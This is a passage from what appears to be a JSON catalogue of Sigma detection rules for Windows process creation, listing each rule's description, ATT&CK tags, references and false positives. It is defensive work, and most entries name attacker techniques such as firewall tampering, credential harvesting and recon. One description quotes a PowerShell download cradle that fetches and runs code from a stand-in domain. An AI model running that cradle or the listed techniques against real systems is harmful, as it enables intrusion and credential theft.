"Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", + "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", + "value": "Netsh Firewall Rule Deletion", + "meta": { + "refs": [ + "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/14", + "filename": "proc_creation_win_netsh_fw_delete.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", + "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", + "value": "Netsh Allow Group Policy on Microsoft Defender Firewall", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/01/09", + "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects capture a network trace via netsh.exe trace functionality", + "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", + "value": "Capture a Network Trace with netsh.exe", + "meta": { + "refs": [ + "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_netsh_packet_capture.yml", + "author": "Kutepov Anton, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that configure a port forwarding (PortProxy)", + "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", + "value": "Netsh Port Forwarding", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_port_fwd.yml", + "author": "Florian Roth, omkar72, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration", + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", + "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", + "value": "Netsh RDP Port Forwarding", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_port_fwd_3389.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the harvesting of wifi credentials using netsh.exe", + "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", + "value": "Harvesting of Wifi Credentials Using netsh.exe", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/04/20", + "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", + "author": "Andreas Hunkeler (@Karneades), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", + "value": "Use of NetSupport Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_netsupport.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", + "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", + "value": "Suspicious Scan Loop Network", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://ss64.com/nt/for.html", + "https://ss64.com/ps/foreach-object.htmll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/03/12", + "filename": "proc_creation_win_network_scan_loop.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", + "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_network_sniffing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", + "uuid": "5b768e71-86f2-4879-b448-81061cbae951", + "value": "Suspicious Manipulation Of Default Accounts", + "meta": { + "refs": [ + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_net_default_accounts_manipulation.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", + "uuid": "62510e69-616b-4078-b371-847da438cc03", + "value": "Windows Network Enumeration", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_net_enum.yml", + "author": "Endgame, JHasenbusch (ported for oscd.community)", + "level": "low", + "falsepositive": [ + "Legitimate use of net.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", + "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", + "value": "Suspicious Reconnaissance Activity Using Net", + "meta": { + "refs": [ + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_net_recon.yml", + "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Inventory tool runs", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies creation of local users via the net.exe command.", + "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", + "value": "Net.exe User Account Creation", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_net_user_add.yml", + "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", + "level": "medium", + "falsepositive": [ + "Legitimate user creation.", + "Better use event IDs for user creation rather than command line rules." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", + "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", + "value": "Net.exe User Account Creation - Never Expire", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_net_user_add_never_expire.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an admin share is mounted using net.exe", + "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", + "value": "Mounted Windows Admin Shares with net.exe", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_net_use_admin_share.yml", + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", + "level": "medium", + "falsepositive": [ + "Administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", + "value": "New Network Provider - CommandLine", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_new_network_provider.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service.", + "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", + "value": "New Service Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_new_service_creation.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user creates a service for legitimate reasons." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", + "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", + "value": "Nimgrab File Download", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "proc_creation_win_nimgrab.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use of Nim on developer systems" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects nltest commands that can be used for information discovery", + "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", + "value": "Recon Activity with NLTEST", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", + "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", + "https://attack.mitre.org/techniques/T1482/", + "https://attack.mitre.org/techniques/T1016/", + "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016", + "attack.t1482" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_nltest_recon.yml", + "author": "Craig Young, oscd.community, Georg Lauenstein", + "level": "medium", + "falsepositive": [ + "Legitimate administration use but user must be check out" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", + "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", + "value": "Node.exe Process Abuse", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "https://nodejs.org/api/cli.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_node_abuse.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", + "uuid": "f4bbd493-b796-416e-bbf2-121235348529", + "value": "Non Interactive PowerShell", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "proc_creation_win_non_interactive_powershell.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", + "level": "low", + "falsepositive": [ + "Legitimate programs executing PowerShell scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", + "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", + "value": "Non-privileged Usage of Reg or Powershell", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_non_priv_reg_or_ps.yml", + "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NPS a port forwarding tool", + "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", + "value": "NPS Tunneling Tool", + "meta": { + "refs": [ + "https://github.com/ehang-io/nps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/10/08", + "filename": "proc_creation_win_nps.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of powershell in conjunction with nslookup as a mean of download.", + "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", + "value": "Nslookup PowerShell Download", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_nslookup_poweshell_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]", + "uuid": "72671447-4352-4413-bb91-b85569687135", + "value": "Nslookup PwSh Download Cradle", + "meta": { + "refs": [ + "https://twitter.com/alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.t1071.004" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_nslookup_pwsh_download_cradle.yml", + "author": "Zach Mathis (@yamatosecurity)", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", + "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", + "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_ntdsutil_usage.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "NTDS maintenance" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", + "value": "Use Short Name Path in Command Line", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/07", + "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", + "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", + "value": "Use Short Name Path in Image", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/07", + "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", + "value": "Use NTFS Short Name in Command Line", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", + "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", + "value": "Use NTFS Short Name in Image", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/06", + "filename": "proc_creation_win_ntfs_short_name_use_image.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", + "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", + "value": "Obfuscated IP Download", + "meta": { + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/08/03", + "filename": "proc_creation_win_obfuscated_ip_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", + "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", + "value": "Obfuscated IP Via CLI", + "meta": { + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/08/03", + "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", + "value": "Office Applications Spawning Wmi Cli", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", + "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", + "value": "Office Directory Traversal CommandLine", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1531653369546301440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_office_dir_traversal_cli.yml", + "author": "@SBousseaden (idea), Christian Burkard (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "uuid": "9d1c72f5-43f0-4da5-9320-648cf2099dd0", + "value": "Excel Proxy Executing Regsvr32 With Payload", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + 